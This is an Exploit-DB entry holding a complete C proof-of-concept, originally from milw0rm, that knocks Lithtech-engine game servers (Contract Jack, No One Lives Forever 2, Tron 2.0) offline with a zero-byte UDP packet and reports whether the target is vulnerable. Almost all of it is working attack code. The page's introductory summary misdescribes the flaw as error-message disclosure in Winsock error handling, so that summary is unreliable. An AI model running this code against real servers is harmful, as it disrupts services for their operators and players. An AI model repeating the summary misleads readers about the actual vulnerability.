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Luigi Auriemma
3.3
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Platforms Tested: Windows

Error Handling in Windows Socket Programming

The code snippet shows the error handling mechanism in Windows socket programming. It includes a switch statement that maps Windows socket error codes to corresponding error messages. This vulnerability can potentially lead to information disclosure or denial of service if the error messages are leaked to an attacker.

Mitigation:

To mitigate this vulnerability, the error messages should not be exposed to the user or logged in a way that could reveal sensitive information. Proper error handling should be implemented to handle errors gracefully without disclosing internal information.
Source

Exploit-DB raw data:

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

/* Moved to one file milw0rm.com - lithsock.zip */

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER     "0.1"
#define BUFFSZ  2048
#define PORT    27888
#define TIMEOUT 3
#define CHECK   "\x10\x7f\x33\x01"
#define ZERO    ""  // 0 bytes, a cool bug

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
                  < 0) std_err();



int info_proto(u_char *data);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ];


    setbuf(stdout, NULL);

    fputs("\n"
        "Lithtech engine (new protocol) socket unreacheable "VER"\n"
        "  Contract Jack           <= 1.1\n"
        "  No one lives forever 2  <= 1.3\n"
        "  Tron 2.0                <= 1.042\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    fputs("- check if server is online\n", stdout);
    SEND(CHECK);
    if(timeout(sd) < 0) {
        fputs("\nError: socket timeout, no reply received\n\n", stdout);
        exit(1);
    } else {
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();
        if(memcmp(buff, CHECK, 3)) {
            if(*buff == '\\') {
                fputs("- received an information reply, seems you have specified a wrong port.\n"
                    "  Try with a lower one\n", stdout);
            } else {
                fputs("\nError: unknown data received, this is none of the vulnerable games\n\n", stdout);
            }
            exit(1);
        }
    }

    fputs("- send a ZERO bytes packet\n", stdout);
    SEND(ZERO);

    fputs("- wait one second\n", stdout);
    sleep(ONESEC);

    fputs("- check if the server is vulnerable:\n", stdout);
    SEND(CHECK);

    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }

    close(sd);

    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2004-12-13]